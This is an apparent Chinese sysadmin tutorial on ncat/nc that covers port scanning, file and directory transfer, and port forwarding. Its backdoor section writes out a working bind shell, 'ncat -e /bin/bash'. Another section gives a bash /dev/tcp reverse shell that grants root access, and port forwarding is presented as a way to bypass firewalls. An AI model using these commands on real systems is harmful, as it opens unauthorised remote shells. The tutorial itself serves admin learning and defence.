ncat/nc既是一個(gè)端口掃描工具,也是一款安全工具,還能是一款監(jiān)測(cè)工具, 它可以用來在網(wǎng)絡(luò)上讀、寫以及重定向數(shù)據(jù)。 同時(shí)它還能創(chuàng)建任意所需的連接,由于有這么多的功能,它被譽(yù)為是網(wǎng)絡(luò)界的瑞士軍刀。 每個(gè)運(yùn)維人員都應(yīng)該知道并且掌握它。
在CentOS 7/RHEL 7的最小化安裝中,nc并不會(huì)默認(rèn)被安裝。 所以需要用下列命令手工安裝。
[root@Linuxtechi ~]# yum -y install nmap-ncat
運(yùn)維人員使用nc可以用來審計(jì)系統(tǒng)安全,用它來找出開放的端口然后保護(hù)這些端口。 還能用它作為客戶端來審計(jì)Web服務(wù)器、telnet服務(wù)器、郵件服務(wù)器等, 通過nc我們可以控制發(fā)送的每個(gè)字符,也可以查看對(duì)方的回應(yīng)。
下面看幾個(gè)nc常用例子。
1、監(jiān)聽入站連接
完整的命令是這樣的:
[root@localhost ~]# ncat -l port_number
通過“-l”選項(xiàng),ncat可以進(jìn)入監(jiān)聽模式。指定該參數(shù),則意味著nc被當(dāng)作server,偵聽并接受連接,而非向其它地址發(fā)起連接。
例如:
[root@localhost ~]# ncat -l 8080
服務(wù)器就會(huì)開始在8080端口監(jiān)聽入站連接。
2、使用nc探測(cè)端口狀態(tài)
不同版本,nc的用法稍有不同,在CentOS6.x版本下,可以通過nc掃描系統(tǒng)中開放了哪些端口,例如:
[root@nnmaster ~]# nc -nvz 172.16.213.155 80
Connection to 172.16.213.155 80 port [tcp/*] succeeded!
[root@nnmaster ~]# nc -nvz 172.16.213.37 20-23
nc: connect to 172.16.213.37 port 20 (tcp) failed: Connection refused
nc: connect to 172.16.213.37 port 21 (tcp) failed: Connection refused
Connection to 172.16.213.37 22 port [tcp/*] succeeded!
nc: connect to 172.16.213.37 port 23 (tcp) failed: Connection refused
其中:
? ”-n“表示直接使用ip地址,而不通過域名服務(wù)器
? ”-v“輸出更詳細(xì)的指令執(zhí)行結(jié)果。
? ”-z“使用0輸入/輸出模式,只在掃描通信端口時(shí)使用
而在CentOS7.x版本下,nc要探測(cè)端口的話,使用方法如下:
nc -w 3 IP地址 端口 < /dev/null && echo "tcp port ok"
其中,”-w“參數(shù)是表示超時(shí)秒數(shù),后面跟數(shù)字。
例如:
[root@SparkMaster ~]# nc -w 3 172.16.213.170 8080 < /dev/null && echo "tcp port ok"
tcp port ok
如果端口是通的,那么將返回“tcp port ok”,反之返回“Ncat: Connection refused“提示。同理,要探測(cè)udp端口狀態(tài),需要使用”-u“參數(shù),例如:
nc -u -w 3 IP地址 端口 < /dev/null && echo "udp port ok"
3、通過nc進(jìn)行文件、目錄傳輸
nc還能用來在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因?yàn)榻^大多數(shù)系統(tǒng)默認(rèn)都安裝了ssh/scp。 不過如果恰好你遇見個(gè)沒有ssh/scp的系統(tǒng)的話, 你可以用nc來作為后備。
首先,在A機(jī)器(從這個(gè)機(jī)器拷貝數(shù)據(jù)文件,ip為172.16.213.230)啟動(dòng)10000端口,進(jìn)入監(jiān)聽模式,執(zhí)行如下命令:
[root@localhost ~]# nc -l 10000 --send-only < jdk1.8.0_171.tar.gz
接著,在B機(jī)器(拷貝文件到這臺(tái)機(jī)器)執(zhí)行如下命令:
[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only > jdk.tar.gz
jdk1.8.0_171.tar.gz是要發(fā)送的文件,jdk.tar.gz是傳輸?shù)紹機(jī)器上后的文件名。”-–send-only“選項(xiàng)會(huì)在文件拷貝完后立即關(guān)閉連接。 如果不加該選項(xiàng),需要手工按下ctrl+c來關(guān)閉連接。同理,”–recv-only“是接收完畢后自動(dòng)關(guān)閉連接。
發(fā)送一個(gè)文件很簡(jiǎn)單,但是如果我們想要發(fā)送多個(gè)文件,或者整個(gè)目錄呢,是的,一樣很簡(jiǎn)單,只需要使用壓縮工具tar,壓縮后發(fā)送壓縮包即可,然后在接收端自動(dòng)解壓。
首先,在A機(jī)器(發(fā)送端,ip為172.16.213.230),要將prometheus目錄發(fā)送到遠(yuǎn)程B主機(jī),執(zhí)行如下命令:
[root@localhost ~]# tar -cvf - prometheus | nc -l 10000 --send-only
接著,在B機(jī)器執(zhí)行如下命令,將接收A機(jī)器傳輸過來的prometheus目錄,并保存到B主機(jī)的當(dāng)前目錄下:
[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only | tar -xvf -
當(dāng)然,也可以選擇性的指定要發(fā)送的目錄,例如要發(fā)送A機(jī)器上的/usr/local/nginx目錄到B機(jī)器的/app目錄下,可以執(zhí)行如下命令:
在A機(jī)器執(zhí)行:
[root@localhost ~]# tar -cvf - /usr/local/nginx | nc -l 10000 --send-only
在B機(jī)器執(zhí)行:
[root@localhost ~]# nc -n 172.16.213.230 10000 --recv-only | tar -xvf - -C /app
這樣執(zhí)行后,A機(jī)器上的/usr/local/nginx目錄就發(fā)送到了B機(jī)器的/app目錄下了。
4、通過nc創(chuàng)建一個(gè)shell后 門
nc命令還可以用來在系統(tǒng)中創(chuàng)建后 門,并且這種技術(shù)已經(jīng)被黑 客大量使用,為了保護(hù)我們的系統(tǒng)安全,我們需要知道它是怎么做的。
首先,在A服務(wù)器(172.16.213.230)上執(zhí)行如下命令,創(chuàng)建后門:
[root@localhost local]# ncat -l -k 10000 -e /bin/bash
”-e“標(biāo)志將一個(gè)bash與端口10000相連。也就是說,現(xiàn)在客戶端只要連接到服務(wù)器上的10000端口就能通過bash獲取我們系統(tǒng)的完整訪問權(quán)限。
”-k“選項(xiàng)表示強(qiáng)制nc待命,當(dāng)客戶端從服務(wù)端斷開連接后,過一段時(shí)間服務(wù)端也會(huì)停止監(jiān)聽。 但通過選項(xiàng)”-k“我們可以強(qiáng)制服務(wù)器保持連接并繼續(xù)監(jiān)聽端口。
接著,在任意能訪問172.16.213.230的10000端口的客戶端上執(zhí)行如下命令,即可直接登錄172.16.213.230的系統(tǒng)。如下圖所示:
[root@SparkMaster nginx]# ncat 172.16.213.230 10000

5、nc反向shell的應(yīng)用
反向shell是指在客戶端打開的shell。反向shell這樣命名是因?yàn)椴煌谄渌渲茫@里服務(wù)器使用的是由客戶提供的服務(wù)端口。
首先在遠(yuǎn)端任意一個(gè)客戶端主機(jī)A(IP為172.16.213.231)監(jiān)聽一個(gè)端口,端口可以隨意指定,這里指定一個(gè)20000端口:
[root@SparkMaster indices]# nc -l 20000
這樣,20000在172.16.213.231主機(jī)上已經(jīng)監(jiān)聽起來了。
接著,在另一個(gè)服務(wù)器B(ip地址為172.16.213.230)上執(zhí)行如下命令:
[root@localhost local]# /bin/bash -i>& /dev/tcp/172.16.213.231/20000 0>&1
現(xiàn)在回到A主機(jī)這個(gè)客戶端上來,等待一分鐘后,此終端會(huì)自動(dòng)進(jìn)入到shell命令行,注意看,這個(gè)進(jìn)入的shell就是172.16.213.230主機(jī)了。
[root@SparkMaster indices]# nc -l 20000
[root@localhost ~]# ifconfig|grep eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.213.230 netmask 255.255.255.0 broadcast 172.16.213.255
inet6 fe80::a00:27ff:feac:b073 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ac:b0:73 txqueuelen 1000 (Ethernet)
RX packets 17415571 bytes 20456663691 (19.0 GiB)
RX errors 0 dropped 156975 overruns 0 frame 0
TX packets 2379917 bytes 2031493944 (1.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
看到了吧,順利進(jìn)入B服務(wù)器了,還是root用戶,接下來你想干什么,都行。這個(gè)反彈shell就是先入 侵B服務(wù)器,然后在客戶端就可以操作B了。
最后,解釋下上面植入的那個(gè)反彈shell和redis命令。先看這個(gè)反彈shell的內(nèi)容:
/bin/bash -i>& /dev/tcp/172.16.213.231/20000 0>&1
首先,“bash -i”是打開一個(gè)交互的bash,這個(gè)最簡(jiǎn)單。
其次,/dev/tcp/是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/。
接著,“>&”其實(shí)和“&>”是一個(gè)意思,都是將標(biāo)準(zhǔn)錯(cuò)誤輸出重定向到標(biāo)準(zhǔn)輸出。
最后,“0>&1”和“0<&1”也是一個(gè)意思,都是將標(biāo)準(zhǔn)輸入重定向到標(biāo)準(zhǔn)輸出中。
你要問這個(gè)0、1、2是什么意思嗎,那我也解釋下吧,在linux shell下,常用的文件描述符有如下三類:
(1)標(biāo)準(zhǔn)輸入 (stdin) :代碼為0,使用 < 或 << ;
(2)標(biāo)準(zhǔn)輸出 (stdout):代碼為1,使用 > 或 >> ;
(3)標(biāo)準(zhǔn)錯(cuò)誤輸出(stderr):代碼為2,使用 2> 或 2>>。
好了,基礎(chǔ)普及完了,說下上面這個(gè)反彈shell的意思吧。綜上所述,這句反彈shell的意思就是,創(chuàng)建一個(gè)可交互的bash和一個(gè)到172.16.213.231:20000的TCP鏈接,然后將bash的輸入、輸出錯(cuò)誤都重定向到172.16.213.231的20000監(jiān)聽端口上。其中,172.16.213.231就是我的客戶端主機(jī)地址。
6、通過nc進(jìn)行端口轉(zhuǎn)發(fā)
為什么要端口轉(zhuǎn)發(fā)呢?因?yàn)榉阑饓Γ蛘咄饩W(wǎng)訪問內(nèi)網(wǎng)的原因。比如防火墻不允許訪問本機(jī)的3389端口怎么辦,或者外網(wǎng)要想訪問一臺(tái)內(nèi)網(wǎng)機(jī)器怎么辦。這時(shí)端口轉(zhuǎn)發(fā)可以很好的解決這些問題。
常見的應(yīng)用場(chǎng)景有:
(1)對(duì)于防火墻禁止訪問某些端口的問題,比如3306端口,我們可以將利用機(jī)器的其它端口,比如5000端口做端口轉(zhuǎn)發(fā),從外界接受數(shù)據(jù),轉(zhuǎn)發(fā)給本機(jī)的3306端口,從而繞過防火墻。
(2)對(duì)于無法訪問內(nèi)網(wǎng)特定機(jī)器的問題,我們可以先抓取內(nèi)網(wǎng)一臺(tái)機(jī)器,然后利用這臺(tái)主機(jī)進(jìn)行端口轉(zhuǎn)發(fā),接受外網(wǎng)的數(shù)據(jù),將數(shù)據(jù)轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標(biāo)機(jī)器的特定端口。
nc實(shí)現(xiàn)端口轉(zhuǎn)發(fā)很簡(jiǎn)單,看一個(gè)例子:
我們通過選項(xiàng)”-c“來用nc進(jìn)行端口轉(zhuǎn)發(fā),實(shí)現(xiàn)端口轉(zhuǎn)發(fā)的語法為:
[root@localhost ~]# ncat -l 80 -c 'ncat -l 8080'
這樣,所有連接到80端口的連接都會(huì)轉(zhuǎn)發(fā)到8080端口。
下面是個(gè)具體應(yīng)用案例,如下圖所示:

從上圖可以看到,通過nc成功實(shí)現(xiàn)了端口轉(zhuǎn)發(fā)請(qǐng)求,可見通過nc做端口轉(zhuǎn)發(fā)非常簡(jiǎn)單。